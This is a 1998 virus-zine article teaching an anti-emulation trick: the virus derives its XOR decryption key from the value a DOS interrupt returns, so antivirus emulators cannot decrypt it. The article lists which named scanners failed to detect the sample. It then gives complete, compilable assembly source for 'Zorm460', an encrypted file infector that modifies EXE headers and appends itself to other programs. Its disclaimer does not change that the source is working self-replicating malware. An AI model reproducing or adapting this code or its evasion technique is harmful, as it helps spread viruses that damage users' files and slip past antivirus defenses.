                          An Anti-Emulation Routine 
                                By: Doxtor L

                                  -TI #1-


[Introduction]

              Modern antivirus scanners dont search only
              strings to detect virus but they try to
              emulate the code of a program to check 
              it.Of course they cant emulate everything.
              But you dont know what code they  cant.
              The aim of this article is to teach you 
              an manner to stop scanner in their att-
              empt to emulate the code of your virus.


[How We Do It]
          
            Idea is quite simple in theory. When you call an interrupt
dos returns a value in ax. Sometimes its an error code sometime its not.

            For example:
                            
                       xor ax,ax 
                       int 15h   

           (according to ralphy:
            Int 15h cassette 
            Input:
                  ah=00h
            Return:
                  CF set on error 
                  ah=86h no cassette present
                  CF clear if successfully) 
                                      
                 (thanx to Yesna to show me this interrupt)

        When you execute this code dos put 86h in ah. And the good news is
most of av dont know ah=86h when this code is executed.
            
        But what do you want to do with  "86h"?  Well ...I want to use
this value as an (xor) key :)  (just modify it a little bit be4). So in
theory av cant decrypt your virus since they dont know the key :)
            
Example:
            
        I suppose your crypt routine looks like:
    
            crypt:
            xor byte ptr cs:[si],ah
            inc si
            loop crypt
            ret
 
            (yes a "lame" xor routine  wait the end be4 to laugh ;)) 
   
            
        to use the trick replace:
             
            lea si,crypt_part+bp
            mov cx,end_crypt_part-crypt_part
            mov ah,key
            call crypt
   
            by:
      
            lea si,crypt_part+bp
            mov cx,end_crypt_part-crypt_part
            xor ax,ax
            int 15h
            add ah,key-86h
            call crypt
            ---and so on-----
  
           
           (see appendix for a working example) 
           
           Conclusion:

        You can search for these values that dos put in ax and test them
to know if nevertheless the anti-virus can decrypt your virus.
              
        The principle is quiet clear i think. This method is powerful. For now,
some heuristic scanners are quite useless against this technique. Nevertheless
old scan technique (string search) can detected your virus and scanner still
detect "lame" encryp-tion routines and delta-offset routine. 

 (Search elsewhere inside this zine to find some answers to these problems)

        Whats the (good) solution? Change the key after every infection
and use a polymorphic engine of course...its your business to build one;)

          
[Appendix]

           
Disclaimer:
            This code is presented to illustrate a technique not to
            damage and spread.
         
            All my tests were made in win95-dos-box
            but i m sure this code works under plain dos (dos5+)

                   * no-tsr encrypted exe-infector
                   * Cant change directory
                   * Infect all true exe-file in
                     current directory.
                   * Dont infect exe-windows files
                   * Dont infect exe-files with overlay
                   * anti-lamer routine :)
                   * Save dta
                   * Dont save time/date
                   * No volontary destructive routine.
           
            
                          
List of antivirus used:
           (test on 2nd+ generations)
          
  Name:                          Result:        Comments:
  Tbav 8.06a                 c # K                    Cant see infectious
                             Detected                 code.
 (High heuristic mode)
            

  Avp3.0 build 119           No detected              :) 
  (for windows)           

                                                         
  F-prot 2.28b               "Self-relocating         Only delta-offset  
                             code-encrypted code"     and encryption    
 (/analyse /guru mode)       Detected                 routines detected

 
  
  F-prot 3.00                "No virus or suspicious   :).Strange no?
  pre-release                files/boot sectors were
  (analyse mode)             found"
                             No detected

 
  Nod-ice 7.24               No detected               :).Nevertheless
                                                       its a good dos-
                                                       based heuristic
                                                       scanner.   
                             
 Drweb,version 3.27a         "Possibly infected        Bravo!
 (feb 1998)                   with exe-crypt virus"
                              Detected

 Findvirus 7.85              "This virus is like Vclb" Scan string.
 (June 1998)                                           (put junk in
 (/analyze)                                             beginning of
                                                        virus and
                                                        inside encry-
                                                        ption and this
                                                        av dont detect 
                                                        it ;).       )

 To compile:
            tasm/m2 Zorm460.asm
            tlink/t Zorm460.asm

[Code Starts]

code segment
assume cs:code,ds:code,es:code
org 100h
key =33h
start:                  

xor bp,bp
jmp first_time        ;skip encryption for first execution
begin_virus:

      call me         ;delta_offset routine 
      me:
         pop bp
         sub bp,offset me
         
      lea si,crypt_part+bp
      mov cx,end_crypt_part - crypt_part
      xor ax,ax
      int 15h
      add ah,key-86h
      call crypt
      jmp over
      crypt:
            xor byte ptr cs:[si],ah
            inc si
            loop crypt
            ret
     
      over:
      
      crypt_part:

      first_time:


      push cs                          ;
      pop ds                           ;ds=cs

      mov word ptr [_es+bp],es         ;save current es     
      

      push cs                          ;
      pop es                           ;es=cs


     lea si,store+bp                   ;prepare for host 
     lea di,old+bp                     ;execution 
     movsw
     movsw
     movsw
     movsw

     mov ah,1ah                        ;move the dta
     lea dx,new_dta+bp
     int 21h
    
      
     mov ah,4eh
     lea dx,exe_file+bp
     mov cx,7
     int 21h

     jnc open_file
     jmp restore_dta
     
     open_file:
            mov ax,3d02h             ;open file found
            lea dx,new_dta+1eh+bp
            int 21h 
     
            xchg ax,bx               ;put file handler into bx

     read_file:      
            
            mov ah,3fh               ;read the header of 
            mov cx,1ch               ;file found
            lea dx,exe_header+bp
            int 21h   
                     

                test1:    ;real exe-file?
                          cmp word ptr [exe_header+bp],'ZM'
                          je test3
                test2:    ;real exe-file?
                          cmp word ptr [exe_header+bp],'MZ'
                          jne get_another 
                test3:    ;infected?
                          cmp word ptr [exe_header+12h+bp],'VI'
                          je get_another                 
                test4:    ;overlay?
                          cmp word ptr [exe_header+26+bp],0
                          jne get_another
                test5:    ;windows-exe?
                          cmp byte ptr [exe_header+24+bp],40h
                          je get_another

                save_exe_header:
                          mov ax,word ptr [exe_header+bp+0eh]
                          mov word ptr [store_ss+bp],ax

                          mov ax,word ptr cs:[exe_header+bp+10h]
                          mov word ptr [store_sp+bp],ax

                          mov ax,word ptr [exe_header+bp+14h]
                          mov word ptr [store_ip+bp],ax
                          
                          mov ax,word ptr cs:[exe_header+bp+16h]
                          mov word ptr [store_cs+bp],ax
                go_end:
                          mov ax,4202h
                          xor cx,cx
                          mov dx,cx
                          int 21h
                          push ax dx
      compute_new_csip:
                          push ax
                          mov ax,word ptr [exe_header+bp+8]                        
                          mov cl,4
                          shl ax,cl
                          mov cx,ax
                          pop ax
                          sub ax,cx
                          sbb dx,0
                          mov cl,0ch
                          shl dx,cl
                          mov cl,4
                          push ax
                          shr ax,cl
                          add dx,ax
                          shl ax,cl
                          pop cx
                          sub cx,ax
        jmp over_there
        get_another:
        jmp get_another2
        over_there:
        change_header:
                          mov word ptr [exe_header+bp+14h],cx
                          mov word ptr [exe_header+bp+16h],dx
                          mov word ptr [exe_header+bp+0eh],dx
                          mov word ptr [exe_header+bp+10h],0ff0h
                          mov word ptr [exe_header+bp+0ah],00ffh
                          mov word ptr [exe_header+bp+12h],'VI'

                          pop dx ax
         compute_size:
                          add ax,end_virus-begin_virus
                          adc dx,0
                          mov cx,512
                          div cx
                          cmp dx,0
                          je enough
                          inc ax
                enough:   
                          mov word ptr [exe_header+bp+04],ax
                          mov word ptr [exe_header+bp+02],dx
           write_virus:
                          lea si,begin_virus+bp
                          lea di,heap+bp
                          mov cx,end_virus-begin_virus
                          rep movsb
                        
                          lea si,(crypt_part-begin_virus+heap)+bp
                          mov ah,key
                          mov cx,end_crypt_part-crypt_part
                          call crypt
                          

                          mov cx,end_virus-begin_virus                                           
                          mov ah,40h
                          lea dx,bp+heap
                          int 21h
           go_beginning:
                          mov ax,4200h
                          xor cx,cx
                          mov dx,cx
                          int 21h
         copy_new_header: 
                          mov ah,40h
                          mov cx,1ah
                          lea dx,exe_header+bp
                          int 21h
                
         
         get_another2:    
                         mov ah,3eh
                         int 21h
 
                         mov ah,4fh
                         int 21h
                         jc restore_dta
                         jmp open_file
                       
         

         restore_dta:    
                          mov ax,word ptr [_es+bp]
                          push ax
                          pop ds
                          mov dx,80h
                          mov ah,1ah
                          int 21h
                         
                          push ds
                          pop  es
        
                          mov ax,es     ;compute cs to execute     
                          add ax,10h
                          add word ptr cs:[old_cs+bp],ax ;host
                                                          
                 restore_host_stack:                                        
                          cli 
                          add ax,word ptr cs:[bp+old_ss]
                          mov ss,ax      
                          mov sp,word ptr cs:[bp+old_sp]
                          sti
                 go_host:
                          db 0eah      ;jmp xx:yy
                 old:
                          old_ip dw 0
                          old_cs dw 0
                          old_sp dw 0
                          old_ss dw 0
                store:
                        store_ip dw 0
                        store_cs dw 0fff0h
                        store_sp dw 0
                        store_ss dw 0fff0h
                         
              sign  db '(c)Zorm460 by DoxtorL. /TI 1998'
          exe_file  db 'goat*.exe',0   ;Anti-lamer routine :)
          
       end_crypt_part:                
                
                end_virus:
                   _es dw          ? 
            exe_header db 1ch dup (?)
               new_dta db 43  dup (?)
               heap:
code ends
end start





[End Of File]
